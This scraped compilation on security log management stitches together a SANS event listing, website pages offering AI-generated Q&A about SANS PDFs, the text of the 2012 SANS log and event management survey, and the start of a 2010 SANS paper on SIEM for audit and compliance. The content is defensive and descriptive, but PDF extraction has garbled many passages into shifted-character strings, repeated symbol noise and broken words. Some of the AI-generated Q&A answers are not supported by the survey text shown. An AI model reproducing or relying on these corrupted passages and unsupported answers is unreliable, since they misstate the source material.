2015 Live Event Cyber Defence Canberra 2015 Canberra, AU Jun 29, 2015 - Jul 11, 2015 Live Event SANS Capital City 2015 Washington, DCUS Jul 06, 2015 - Jul 11, 2015 Live Event Digital Forensics & Incident Response Summit Austin, TXUS Jul 07, 2015 - Jul 14, 2015 Live Event European Security Awareness Summit London, GB Jul 08, 2015 - Jul 10, 2015 Live Event SANS London in the Summer London, GB Jul 13, 2015 - Jul 18, 2015 Live Event SANS Minneapolis 2015 Minneapolis, MNUS Jul 20, 2015 - Jul 25, 2015 Live Event SANS San Jose 2015 San Jose, CAUS Jul 20, 2015 - Jul 25, 2015 Live Event SANS Bahrain 2015 OnlineBH May 02, 2015 - May 07, 2015 Live Event SANS OnDemand Books & MP3s OnlyUS Anytime Self Paced --- ## Source: https://montance.com/questions.php?id=67 [![pdf](content/images/icons/pdf.svg) SANS - RSA - building world class SOC roadmap.pdf](https://drive.google.com/file/d/0B9l-G6EuipZgclBVeEVidkt5SWs/view?usp=sharing) Sans RSA Building World Class SOC Roadmap Roadmap for developing SOC capabilities. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. ## Be the first to ask a question! ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgZl9LN1JEN2ZJMms/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/0B9l-G6EuipZgZl9LN1JEN2ZJMms/view?usp=sharing]** Sorting Through the Noise SANS Eighth Annual 2012 Log and Event Management Survey Results May 2012 A SANS Whitepaper Written by: Jerry Shenk Advisors: Dave Shackleford & Barbara Filkins Why Collect Logs? PAGE 2 Changes in Log Collection and Analysis PAGE 4 Top Challenges: Sorting through the Noise PAGE 6 Learning from Logs PAGE 9 Survey Demographics PAGE 13Sponsored by HP Enterprise Security, LogLogic, LogRhythm, Sensage, Splunk, Tripwire, Trustwave Executive Summary The key /f_inding that stands out in SANS’ Eighth Annual Log and Event Management Survey is the inability of organizations to separate normal log data from actionable events. More than 600 respondents report that detecting and tracking suspicious behavior, supporting forensic analysis and meeting and proving regulatory compliance are the most important and problematic issues they are dealing with in using their logs. As attacks become more sophisticated, IT and security practitioners are identifying what they must do to not just keep up, but also to get proactive about their security practices. At the heart of this issue is log management. The survey respondents are also looking at more data, according to year-over-year survey results. As the log management industry continues to mature, organizations expect to get more meaningful and actionable results from log data. Nearly every product that manages logs now ships with one or more built-in processes for extracting, analyzing and alerting on data. In the survey, 58 percent of organizations report that they use a log manager to collect and analyze logs. Also, 37 percent said they are using a Security Information and Event Management (SIEM) system in some capacity, while 22 percent are collecting the logs and processing them entirely with their SIEM systems. A large percentage of organizations—22 percent of the respondents —say they have little or no automation and no plans to change. The most common reasons given for not automating include lack of time and money… resources that are closely intertwined. Respondents cited two additional reasons: the lack of management buy-in and insufficient time to evaluate the options available in different SIEM and log management products. As in the past two years, this year’s survey responses indicate that organizations are trying to squeeze as much actionable data as they can out of their log management systems, so the convergence with SIEM / event management systems makes good sense. However, they are still struggling with advanced threats, and screening out actionable data from background noise on their networks. Even when we look at the 22 percent of respondents who are using SIEM for collecting logs and processing them, nearly the same percentage say it is difficult to prevent incidents and detect advanced threats. This similarity indicates that log and event management systems, or the way they are being used, have a long way to go in /f_inding the critical needle in a haystack that organizations need during a network crisis. SANS Analyst Program 1 SANS Eighth Annual 2012 Log and Event Management Survey Why Collect Logs? One of the biggest challenges for law enforcement and other agents responding to a breach is the inability to identify the attacker, according to the 2012 Verizon Data Breach Investigations Report.1 The report shows that, in many cases, organizations cannot identify the attackers because of insufficient log data. This shortcoming directly corresponds to the top challenges our survey respondents reported. When asked what importance was placed on each of 12 reasons for collecting log data (Figure 1), the most critical was related to internal and external security issues. Respondents’ top reasons included detecting and tracking suspicious behavior (82 percent), supporting forensic analysis and correlation (65 percent) and preventing incidents (58 percent). Figure 1. Why Collect Logs? Detecting advanced threats was also important (54 percent), as was using logs to meet regulatory compliance with requirements (55 percent). These reasons have stayed consistent since we started asking these questions although the individual questions and options have changed enough to prevent year-by-year comparisons. SANS Analyst Program 2 SANS Eighth Annual 2012 Log and Event Management Survey 1 www.verizonbusiness.com/resources/reports/rp_data-breach-investigations-report-2012_en_xg.pdf?CMP=DMC-SMB_Z_ZZ_ZZ_Z_TV_N_Z037 Why Collect Logs? (CONTINUED) Many respondents are also collecting logs for operational and business improvements, including IT operations and support, application and system performance and monitoring service levels and other lines of business. These issues were identi/f_ied as critical by 24 percent to 30 percent of respondents. One reason for log collection we have asked about ever since the /f_irst log management survey in 2005 pertains to compliance with various regulations, requirements and policies. This year, in a question about what reasons people have for collecting logs, 55 percent stated that compliance issues were a critical reason, 36 percent said compliance was important and the remaining nine percent said that compliance was not important. The /f_inal responses were related to costs, chargebacks and understanding customer behavior. These received positive responses of 17 percent to 11 percent, although30 percent to 40 percent said they were not important. Almost all respondents (except for .3 percent) said that detecting and tracking suspicious behavior was important. This has been the top reason for collecting logs since we started asking this question in 2008. SANS Analyst Program 3 SANS Eighth Annual 2012 Log and Event Management Survey Changes in Log Collection and Analysis The same year SANS conducted its /f_irst Log Management Survey (2005), the term SIEM (Security Information and Event Management) was coined.2 SIEM includes the collection of log data as well as correlation of different log events from various sources, together with suspicious event information. This data is correlated and presented through other features such as dashboards, real-time alerting and reports and charts, depending on a particular vendor’s implementation. In 2005, respondents were running manual or automated scripts to constantly glean information from log data. Over the years, we have hypothesized that log management systems would eventually migrate to include more fully automated correlating, analysis and reporting functions. This year’s survey shows that organizations are integrating their log systems into security and other event management systems for better analysis and reporting. This year we tried to determine the percentage of organizations primarily performing traditional log analysis versus the percentage using what they would call a SIEM. Of course, this is a hard line to de/f_ine because of overlapping functions between the tools. For example, if an organization collects logs using syslog and uses scripts to count the number of inbound or outbound blocked ports, could that combination of processes be considered a SIEM? Probably not, but as the automation and intelligence gets deeper, at some point the combination might cross that line. To learn how respondents are analyzing and correlating log and security information, we asked them to identify their log collecting activities under one of the following categories: t$PMMFDUEBUBEJSFDUMZGSPNIPTUTJOUPBMPHNBOBHFS t$PMMFDUMPHTGSPNTZTMPH 6%15$1 JOUPBMPHNBOBHFS t6TFBHFOUTUPDPMMFDUEBUBGSPNTPVSDFTJOUPBMPHNBOBHFS t6TF4FDVSJUZ*OGPSNBUJPO&WFOU.BOBHFNFOU 4*&. UPDPSSFMBUFBOEBOBMZ[FMPHEBUBUIBUJTDPMMFDUFECZ other means (e.g., log servers) t6TF4*&.UPDPMMFDU DPSSFMBUFBOEBOBMZ[FMPHEBUB t/POFPGUIFBCPWF SANS Analyst Program 4 SANS Eighth Annual 2012 Log and Event Management Survey 2 http://en.wikipedia.org/wiki/SIEM Changes in Log Collection and Analysis (CONTINUED) The responses included a mix of sending logs directly to a log manager, or through syslog or agents. A good number, 22 percent, indicate that they are collecting and analyzing log data with their SIEM. Log Management systems are still in high use, however, with 58 percent using one of the three log management options, as shown in Figure 2. Figure 2. Methods of Collecting and Analyzing Log Data In a separate question about what type of log and event management software organizations are using, we found that many of them are using internally developed and commercial packages, so there is some overlap among these options chosen by respondents. The /f_irst three options (depicted in shades of blue) relate to log management, the fourth option is a hybrid with 15 percent and the /f_ifth option (dark red) is solidly in the SIEM category. It will be interesting to see how these numbers change in the coming years. SANS Analyst Program 5 SANS Eighth Annual 2012 Log and Event Management Survey Top Challenges: Sorting through the Noise Collecting and accessing logs are no longer a problem for most organizations as it was in the beginning years of this survey. For the past three years, about 90 percent of respondents have consistently indicated they are collecting logs. Because organizations are more aware of their logs and the value they can gain from them, we tried to learn more about how organizations want to use their logs. In the /f_irst question, we asked them to rank the top three challenges they face when integrating their logs with other tools in their organization’s overall information infrastructure. “First” represents the most challenging and “third” represents the least challenging aspects. The issue that ranked most challenging and also had the highest total number of votes overall was “Identi/f_ication of key events from normal background activity, ” as shown in Figure 3. Figure 3. First, Second and Third Most Challenging Aspects of Log Management and Integration The second most cited challenge was “Correlating events from multiple sources. ” Their third most problematic issue was “Lack of analytics capabilities. ” One of the least challenging issues was “Lack of native visualization capabilities, ” which indicates that dashboards are helpful and graphics can help identify trends and explain issues; however, the lack of concern about “native visualization capabilities” may also be a trending indicator signaling greatly improved visualization capabilities in current log monitoring and SIEM products, compared to similar products reviewed in previous years. What organizations really want is assistance with good, solid analysis. SANS Analyst Program 6 SANS Eighth Annual 2012 Log and Event Management Survey Top Challenges: Sorting through the Noise (CONTINUED) Whether Advanced Persistent Threat (APT), or some other type of event, the identi/f_ication of key events was clearly the largest pain point this year. One example of a key event would be a dramatic change in the size of logs or the size of speci/f_ic types of logs. For example, if your /f_irewall typically blocks 200 packets a day in your egress /f_iltering and suddenly blocks 5,000 in one day, it would be worthwhile to look through those 5,000 events and see what internal computer is generating the traffic and what port it is trying to connect to. If your organization has multiple sites and tens of thousands of computers, you could split up your “outbound block report” by subnet so that you could have a quick on-line summary of blocked traffic for each subnet. A report like that could be reviewed on a normal daily review in about 10 seconds. This same process can be applied to most common events. Each organization will need to determine what common events are for them and customize the analytics to match the speci/f_ics of their network. Detecting APT style malware, detecting and tracking suspicious behavior and preventing incidents ranked highest among respondents’ problems with using their logs. Detecting and tracking suspicious behavior was also reported as the issue with the highest increase since last year (up from 65 percent last year to 83 percent this year). See Figure 4. Figure 4. Difficulties in Using Logs SANS Analyst Program 7 SANS Eighth Annual 2012 Log and Event Management Survey Top Challenges: Sorting through the Noise (CONTINUED) Advanced Persistent Threat attacks have recently been in the news a lot and some have argued that this style of attack is getting blamed for attacks that are not advanced or persistent; however, there are also reports of organized attackers that have deeply in/f_iltrated organizations for many years. One capability generally agreed upon is that log data should be giving organizations the information they need to help identify APT-style threats and other data-ex/f_iltration attacks. In this year’s survey, 90 percent of respondents indicated that APT-style threats were at least on their radar, with “detecting suspicious behavior” on the radar for virtually all respondents (98 percent). According to the newly released Verizon Data Breach Investigations Report3 (DBIR) 85 percent of breaches took at least weeks to discover, 54 percent took months and two percent took years to discover. In a March 28, 2011, Open Source Security blog4, Martin (no last name given) discusses using logs to detect APT, stressing the need to /f_irst collect all logs. Some suggestions for detecting APT include searching /f_irewall logs for large outgoing sessions and for a high number of outgoing sessions to a single IP address. This requires researching network traffic to determine which IP addresses belong to valid business partners. Searching Domain Name System (DNS) server logs for lookups related to suspect domains can also be helpful. In some cases, logs can be cross-referenced with known Real-time Blacklists (RBLs) or internally-identi/f_ied lists of suspect IP addresses and domain names. Some of the SIEM players have already started integrating reputation data into SIEM systems to inform organizations in case there is any communication with known bad IP addresses or domains. In another article about targeted attacks, Dark Reading’s senior editor, Kelly Jackson Higgins,5 Mandiant,6 was quoted as saying that advanced attacks are only the “tip of the iceberg. ” Higgins likens the security /f_ield to a weapon’s race, so even as detection gets better, the attackers keep “perfecting their trade. ” Automated analysis is critical and needed as a primary method for dealing with logs. However, with all that is at stake, log data needs to be monitored using a combination of analysis methods, including automated and manual analysis, with assistance from SIEM-type tools, and other available resources. Organizations that continuously collect, evaluate, and interpret log data will be in the best position to avoid hosting the next headline-grabbing attack. SANS Analyst Program 8 SANS Eighth Annual 2012 Log and Event Management Survey 3 www.verizonbusiness.com/resources/reports/rp_data-breach-investigations-report-2012_en_xg.pdf?CMP=DMC-SMB_Z_ZZ_ZZ_Z_TV_N_Z037 4 http://ossectools.blogspot.com/2011/03//f_ighting-apt-with-open-source-software.html 5 www.darkreading.com/risk-management/167901115/security/news/232602533/apt-type-attack-a-moving-target.html 6 www.mandiant.com Learning from Logs Logs from each device produce different records that, when put together properly, can tell a story for auditors and responders. Respondents are collecting data from multiple devices, the most popular of which is Windows servers at 85 percent. Security and networking devices, and networking and security systems are also among the top sources, as shown in Figure 5. Figure 5. What Logs They Collect This year we expanded the choices for types of sources they use to collect log data. This expansion was based on write-in comments from last year. Some of the new items included “Control systems for physical plant/operations” with eight percent, “Access controls for physical plant” with 17 percent and “Cloud-based or outsourced services/applications” with eight percent. SANS Analyst Program 9 SANS Eighth Annual 2012 Log and Event Management Survey Learning from Logs (CONTINUED) Every year, organizations collect more logs from increasingly different types of devices, but they also want to derive more actionable information from what they already have. One respondent noted that, “We could collect more but we need to make the ones we have useful and really /f_inish baselining...7” This comment continued to speci/f_ically mention computer security specialist Dr. Anton Chuvakin’s de/f_inition of baselining where organizations need to learn what “normal” (their baseline) is, and then act on any deviations from that norm. An example of this related to a website would be to track the number of individual error codes logged by the web server. Some web attacks require trying lots of different requests. If an organization sees an abnormally high number of successful hits, that is a red /f_lag. Another indicator may be a dramatically higher instance of 400 or 500 range error codes, as they indicate failed authentication, invalid pages and server errors. A dramatic increase in any of these events could indicate that an attacker is performing some type of reconnaissance, or harvesting data from your site, or trying to guess at authentication and page layout. The next step in cases like these would be to examine the logs to determine if there is a pattern of IP addresses making the requests and if there is anything interesting about the timing of the request. Organizations say they want to be able to detect suspicious behavior. Yet, when asked how much time they normally spend on log data analysis, the largest group (35 percent) spent “None to a few hours a week” with their logs, as shown in Figure 6. Figure 6. Time Spent on Logs SANS Analyst Program 10 SANS Eighth Annual 2012 Log and Event Management Survey 7 www.slideshare.net/anton_chuvakin/baselining-logs Learning from Logs (CONTINUED) Last year, 29 percent of respondents chose “None to a few hours a week” managing their logs. This six percent variation may indicate an improvement in log management systems and other management systems designed to automate the task of event management. It may also be that one of the two options added this year – “Integrated into normal work/f_low” took 24 percent of the answers. Even when broken down by organizational size, more than 20 percent of respondents from enterprise organizations (de/f_ined as having more than 2,000 employees) selected this option. About 50 percent of the smaller organizations spent zero to just a few hours per week analyzing logs. That is really not very much time spent getting familiar with logs. Given the advanced threats they are struggling with, we would have expected the time organizations spend on log analysis to increase, not decrease. We cannot stress enough that the best way for organizations to quickly detect abnormalities is to gain an understanding of their baseline or “normal” activity by reviewing/analyzing log data on a regular basis. SIEM-type tools, including log management tools with analysis and reporting options, will help organize and identify patterns and activities that are generally recognized as indicators of problems. Yet, 58 percent of organizations are not anywhere close to that level of automation. At a minimum, these organizations need to keep to a consistent schedule for viewing and analyzing log data. For help analyzing logs, organizations like SANS also teach courses on log analysis8 for IT security professionals. Even organizations with more automated log collection and analysis capabilities need to establish a baseline by analyzing logs regularly. Automated tools, although very useful, cannot substitute for the “sixth sense” log analysts develop when they spend some time each day getting familiar with their log data. As they become increasingly familiar with their log data, organizations will be better able to differentiate anomalies from baseline traffic much more efficiently. On the data collection front, the trend line is good; more organizations are collecting log data from increasingly diverse sources, which improves the prospects for creating accurate baselines and also provides the hard data necessary to identify areas in which improvements are needed. SANS Analyst Program 12 SANS Eighth Annual 2012 Log and Event Management Survey 8 www.sans.org/sans/f_ire-2012/description.php?tid=4532 Survey Demographics This year, more than 600 professionals took the survey, representing a large number of organizations across a broad spectrum of industries including government, /f_inancial, technology, medical and pharmaceutical, as shown in Figure 7. Figure 7. Survey Demographics by Industry/Sector Organizations represented in the survey ranged in size from enterprise to small-business, with 57 percent representing enterprises of more than 2,000 employees, 30 percent with between 100 and 2,000 employees, and 13 percent with fewer than 100 employees. SANS Analyst Program 13 SANS Eighth Annual 2012 Log and Event Management Survey Conclusion As this year’s survey indicates, although organizations are collecting log data from most data sources, the issue has been getting usable and actionable information out of the data when they need it for detection and response. Organizations are connecting their log managers to SIEM and other management systems, or simply bypassing their log managers and collecting directly to their SIEM or third-party management systems. Log Management and SIEM systems are now capable of storing the data and allowing it to be recalled quickly. This year organizations are realizing new problems with detection, tracking and preventing suspicious behavior. Part of the reason for this realization may be related to the increased media coverage of extended network intrusions. Respondents indicate that their organizations need better integration and correlation among their systems to catch attacks that often try to hide in normal traffic. Log and SIEM systems that help familiarize and baseline normal log activity and that can support whitelisting will help /f_ilter out normal events from suspicious events. As log management systems continue to become more automated via enhanced log management systems and/or SIEM (or hybrid solution), organizations will always need to know and understand their logs. SANS Analyst Program 14 SANS Eighth Annual 2012 Log and Event Management Survey SANS Analyst Program 15 SANS Eighth Annual 2012 Log and Event Management Survey About the Author Jerry Shenk currently serves as a senior analyst for the SANS Institute and is senior security analyst for Windstream Communications, working out of the company’s Ephrata, Penn., location. Since 1984, he has consulted with companies and /f_inancial and educational institutions on issues of network design, security, forensic analysis and penetration testing. His experience spans networks of all sizes, from small home- office systems to global networks. Along with some vendor-speci/f_ic certi/f_ications, Jerry holds six Global Information Assurance Certi/f_ications (GIACs), all completed with honors: GIAC-Certi/f_ied Intrusion Analyst (GCIA), GIAC-Certi/f_ied Incident Handler (GCIH), GIAC-Certi/f_ied Firewall Analyst (GCFW), GIAC Systems and Network Auditor (GSNA), GIAC Penetration Tester (GPEN) and GIAC-Certi/f_ied Forensic Analyst (GCFA). Five of his certi/f_ications are Gold certi/f_ications. SANS would like to thank its sponsors: --- ## Source: https://montance.com/questions.php?id=66 [![pdf](content/images/icons/pdf.svg) SANS - SortingThruNoise.pdf](https://drive.google.com/file/d/0B9l-G6EuipZgZl9LN1JEN2ZJMms/view?usp=sharing) Sans Sortingthrunoise Strategies for reducing log noise and prioritizing alerts. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the 'Signal-to-Noise' problem in log management? A: The challenge of finding the few meaningful security events amidst millions of benign operational logs. * Q: How does 'Baselining' help reduce noise? A: By understanding what 'normal' looks like, the SOC can filter out standard traffic and only alert on deviations. * Q: What is the operational benefit of 'Centralized Logging' beyond security? A: It aids in troubleshooting and operational analytics, making the SIEM valuable to IT operations and increasing their buy-in. * Q: How does 'Event Correlation' transform raw logs? A: It combines multiple low-fidelity events (e.g., login fail + huge data transfer) into a single high-fidelity alert. * Q: What is the role of 'Automation' in handling log volume? A: It is the only scalable way to parse and filter the massive influx of data; manual review is mathematically impossible. * Q: Why is 'Log Enrichment' (e.g., GeoIP, User Context) essential? A: Raw logs often lack context; enrichment adds the 'who, what, where' that allows an analyst to make a quick decision. * Q: What is the strategy for handling 'Unknown Events'? A: They should be investigated to determine if they are malicious or benign, and then added to the known baseline or alert logic. * Q: How does 'Historical Analysis' differ from Real-time Alerting? A: Historical analysis looks back at stored logs to find long-term patterns (low and slow attacks) that don't trigger real-time thresholds. * Q: What is the 'Compliance' driver mentioned for logging? A: Regulations like PCI and SOX often mandate log retention and review, providing the budget justification for the system. * Q: How does the document suggest 'Prioritizing' alerts? A: By mapping them to business risk and asset criticality, ensuring the most dangerous threats to the most important assets are seen first. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgYXVVLU93X2FSZTQ/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/0B9l-G6EuipZgYXVVLU93X2FSZTQ/view?usp=sharing]** Interested in learning more about security? SANS Institute InfoSec Reading Room This paper is from the SANS Institute Reading Room site. Reposting is not permitted without express written permission. Successful SIEM and Log Management Strategies for Audit and Compliance Organizations often spend a great deal of money on Log Management and Security Information and Event Management (SIEM), with disappointing results. Many organizations struggle with , and most SIEM vendors fail to provide effective out of the box correlations. Then too, many organizations fail in their vision and process, considering SIEM just another tool to be dropped onto the network. This paper covers common requirements and a process that has proven successful in multiple Log Management and SIEM, deployments in hel... Copyright SANS Institute Author Retains Full RightsAD ! © 2010 The SANS Institute As part of the Informati on Security Reading Room Author retains full rights. !! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! "#$!%&'(#)*)&'+!,!-./0!.-12!1.03!0045!.567!5895!.467!:;83!-/;0!383; ! Successful SIEM and Log Management Strategies for Audit and Compliance GIAC GCIA Gold Certification Author: David Swift , dgswift@verizon.net Advisor: Egan Hadsell Accepted: November 4, 2010 Abstract Organizations often spend a great deal of money on Log Management and Security Information and Event Management (SIEM) , with disappointing results. Many organizations struggle with ³XVHFDVHV ,´ and most SIEM vendors fail to provide effective out of the box correlations. Then too, many organizations fail in their vision and process , considering SIEM just another tool to be dropped onto the network . This paper covers common requirements and a pro cess that has proven successful in m ultiple Log Management and SIEM , deployments in helping organizations meet both compliance needs, and improve their overall security strategy . A process including defining threats, documenting responses, and standard re porting to meet compliance regulations is detailed. Baseline correlations, reports, and compliance basics with reference links are provided in appendices. ! © 2010 The SANS Institute As part of the Informati on Security Reading Room Author retains full rights. !! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! "#$!%&'(#)*)&'+!,!-./0!.-12!1.03!0045!.567!5895!.467!:;83!-/;0!383; ! Successful SIEM and Log Management Strategies for Audit and Compliance | 2 ! ! David Swift , dgswift@verizon.net !1. Introduction While there are any number of compliance regulations (SOX, GLBA, PCI, FISMA, NERC, HIP$$«see Appendix E for and overview and links to regulations ), and auditors follow various IUDPHZRUNV &262&2%,7,7,/« see Appendix F for and overview and reference links ), there are a few common core element s to success. In a nutshell: "# log all relevant events $# define the scope of coverage %# define what events constitute a threat &# detail what should be don e about them in what time frame '# document when t hey occurred and what was done (# document where both the events and follow up records can be found )# document how long events and tickets are kept By definin g which events are of interest and what should be done about them, security and log analysis not only aids in complia nce, but becomes proactiv e. Log analysis used in this manner can be used to detect emerging threats and trends, and even to tune and improve overall security. It is easy to become overwhelmed by the millions of events generated by firewalls, authentication logs, intrusion logs, an d other logs ad nauseum, however certain anomalous behavioral patterns, and repeat events are common relatively easy to detect signs of malware. ! © 2010 The SANS Institute As part of the Informati on Security Reading Room Author retains full rights. !! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! "#$!%&'(#)*)&'+!,!-./0!.-12!1.03!0045!.567!5895!.467!:;83!-/;0!383; ! Successful SIEM and Log Management Strategies for Audit and Compliance | 3 ! ! David Swift , dgswift@verizon.net !2. Discussion First, with respect to a uditors, regulators and the courts , they each have their own interpretation of the various regulations . A review of the regulations, and practical interpretation will show a series of common elements from which t he process an d strateg y in this do cument were derived. To date these practices have been widely accepted for multiple customers subject to varying compliance requirements this author has been involved with. Sarbanes Oxley (SOX) , though widely applicable to any publically traded company , can be a difficult document from which to infer IT requirements. However SOX provides language, ZKLFKZKHQLQWHUSUHWHGLQDQ,7FRQWH[WWUDQVODWHVWR³ZHPXVWORJHYHQWVDQGUHVSRQGLQD timely fashion. From Sarbanes-Oxley Act of 2002 (H.R. 3763) 107th Congress (2001 -2002) SEC. 103. AUDITING, QUALITY CONTROL, AND INDEPENDENCE STANDARDS AND RULES. (c)(2 ³The Board shall respond in a timely fashion to requests from designated professional groups of accountants and advisory groups... ´ While t he focus of the bill is on auditors, a nd financial reporting, supporting logs and data to which the board is required to attest to often fall on the heads of IT professionals to provide. Sarbanes Oxley, also provides a base timeline of one year for event retention. Again, though not technology directed, actors sub ject to the law are required to provide annual reports, and both annual and one year appear repeatedly in the law. From one related section of the law, Sarbanes-Oxley Act of 2002 (H.R. 3763) 107th Congress (2001 -2002) SEC. 102. REGISTRATION WITH THE BOARD. (e) PUBLIC AVAILABILITY. ³Registration applications and annual reports required by this subsection, or such portions of such applications or reports as may be designated under rules of the Board, shall be made available for public inspection, subjec t to rules RIWKH%RDUGRUWKH&RPPLVVLRQ´ ! © 2010 The SANS Institute As part of the Informati on Security Reading Room Author retains full rights. !! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! "#$!%&'(#)*)&'+!,!-./0!.-12!1.03!0045!.567!5895!.467!:;83!-/;0!383; ! Successful SIEM and Log Management Strategies for Audit and Compliance | 4 ! ! David Swift , dgswift@verizon.net !PCI provides a clear mandate for logging and review in more specific terms, PCI DSS Requirements and Security Assessment Procedures, v1.2.1, Requirement 10, (2008). ³Regularly Monitor and Test Networks Requirement 10: Track and monitor all access to network resources and cardholder data. Logging mechanisms and the ability to track user activities are critical in preventing, detecting, or minimizing the impact of a data compromise. The presence of logs in all environments allows thorough tracking, alerting, and analysis when something does go wrong. Determining the cause RIDFRPSURPLVHLVYHU\GLIILFXOWZLWKRXWV\VWHPDFWLYLW\ORJV´ From GLBA, one can derive a mandate to provide a written security plan, Gramm-Leach-Bliley Act , PUBLIC LAW 106 ±102, Subchapter I, Sec. 6801 -6809 (1999) ³«HDFKDJHQF\RUDXWKRULW\GHVFULEHGLQVHFWLRQ D RIWKLVWLWOHVKDOOHVWDEOLVKDSSURSULDWH standards for the financial institutions subject to their jur isdiction relating to administrative, technical, and physical safeguards - (1) to insure the security and confidentiality of customer records and information; (2) to protect against any anticipated threats or hazards to the security or integrity of such records; and (3) to protect against unauthorized access to or use of such records or information which could result in substantial harm or inconvenience to any custome U´ Within FISMA is the nucleus of a charter to monitor for threats, Federal Information Security Management Act of 2002, H. R. 2458 ²48, § 3544 (2002) ³(a) IN GENERAL. ²The head of each agency shall ² (1) be responsible for (A) providing information security protections commensurate with the risk and magnitude of the harm resulting from unauthorized access, use, disclosure, disruption, modification, or destruction of (i) information collected or mainta ined by or on behalf of the agency; and (ii) information systems used or operated by an agency or by a contractor of an DJHQF\RURWKHURUJDQL]DWLRQRQEHKDOIRIDQDJHQF\´ ! © 2010 The SANS Institute As part of the Informati on Security Reading Room Author retains full rights. !! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! "#$!%&'(#)*)&'+!,!-./0!.-12!1.03!0045!.567!5895!.467!:;83!-/;0!383; ! Successful SIEM and Log Management Strategies for Audit and Compliance | 5 ! ! David Swift , dgswift@verizon.net !Contained in HIPAA, are mandates for anti -malware controls , HEALTH INSURANCE PORTABILITY AND ACCOUNTABILITY ACT OF 1996, 164.308(a)(5)(ii)(B) ,(1996) (B) Protection from malicious software (Addressable). Procedures for guarding against, detecting, and reporting malicious software . From NERC, we can derive a requirement to document the scope for which we will be responsible and at least annual reviews, Standard CIP±002±3, Cyber Security, Critical Cyber Asset Identification, B. R2 (2009) ³Critical Asset Identification ² The Responsible Entity shall develop a list of its identified Critic al Assets determined through an annual application of the risk-based assessment methodology required in R1. The Responsible Entity shall review this list DWOHDVWDQQXDOO\DQGXSGDWHLWDVQHFHVVDU\´ While you may not be subject to all, or even one of t hese regulations, it is best to assume at some future date you could be required to be compliant with one or more of them and design any comprehensive security solution to meet the common criteria. Also consider that most public policies include the catch DOOSKUDVH³EHVWSUDFWLFHV´ subject ing us to not just those most directly linked regulations, but compliance best practices from every regulation. A single common denominator for all regulations requires that one log all events, and review them. The intent and implication is that we are reviewing logs for threats, and following up on them t o resolve any issues discovered, and can document that we have done so. In an effort to identify what would constitute a threa t, a common set of events in logs that would rise to the level of a threat are defined in Appendix A ± Events of Interest . During audits, providing an unambiguous definition of what constitutes a threat can quickly reduce m uch of the noise of common logs and provide a common basis for discussion. ! © 2010 The SANS Institute As part of the Informati on Security Reading Room Author retains full rights. !! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! "#$!%&'(#)*)&'+!,!-./0!.-12!1.03!0045!.567!5895!.467!:;83!-/;0!383; ! Successful SIEM and Log Management Strategies for Audit and Compliance | 6 ! ! David Swift , dgswift@verizon.net ! In most SIEM products today, log review (threat detection), can be automated by creating correlation content matching the Events of Interest in Appendix A to automatically notify, or even create automated trouble tickets for threats as they are detected in real time. Auditors time and time again have expressed a strong preference for automated ticketing, and are much more OLNHO\WRDFFHSWRQH¶VGRFXPHQWDWLRQIRUWKUHDWWUDFNLQJDQG follow up if we can show the process is automated. In addition to threat identification, au GLWRUVDQGUHJXODWRUVH[SHFW³WLPHO\´UHYLHZRIORJVZKLFK can be documented through regular reports. A common set of reports to meet the review process are defined in Appendix B ± Common Reports. Both regularly reviewed and operational detail reports are outlined. A minimal set of monthly summary reports for system review is provided in Appendix C ± Sample Summary Reports . Summary reports have proven useful in providing oversight for security devices, helping to identify when a device is not detecting or blocking to the extent one would expect. A simple top ten list of what was detected and blocked, with a count by severity can help prioritize security responses. Operational reports detailing the source hosts for any given malware ca n the n direct remediation responses (see Appendix B ± On Demand Operational Reports ). Finally, summary reports can identify key outliers and spikes tha t may be first signs of malware even when specific signatures are not triggered. Reports that may require review, including user activity reports and reports on configuration changes are documented in Appendix B (User Activity Reports, Configuration Change Reports and Access Reports). It is a common best practice to have reports requiring review, to require sign off by the system or data owner (explicit attestation) , and to store the signed report for a length of time matching your record of authority documentation (See Appendix D ± Record of Authority and Retention ). Alternatively , one may send reports for review via email, noting in the body of the email that unless otherwise noted and reported, the data or system owner acknowledges and attests that the acc ess or changes noted in the attached reports are normal and perm itted (assumptive affirmation). Caution is advised with assumptive affirmation. While this ! © 2010 The SANS Institute As part of the Informati on Security Reading Room Author retains full rights. !! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! "#$!%&'(#)*)&'+!,!-./0!.-12!1.03!0045!.567!5895!.467!:;83!-/;0!383; ! Successful SIEM and Log Management Strategies for Audit and Compliance | 7 ! ! David Swift , dgswift@verizon.net !may relieve the security group for responsibility, it is not usually accepted as proof the organizat ion as a whole has met its requirements for review. Additional industry best practices and reference organizations are listed in Appendix G ± Best Practices and Compliance Links. The National Institute of Standards and Techn ology (NIST), 800 series documents can provide additional system and function specific guidelines. The International Standards Organization (ISO) 17799 Code of Practice for Information Security Management is one of the most widely used audit frameworks and a basic summary and link is provided in Appendix G ± Best Practices and Compliance Links. ! ! © 2010 The SANS Institute As part of the Informati on Security Reading Room Author retains full rights. !! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! "#$!%&'(#)*)&'+!,!-./0!.-12!1.03!0045!.567!5895!.467!:;83!-/;0!383; ! Successful SIEM and Log Management Strategies for Audit and Compliance | 8 ! ! 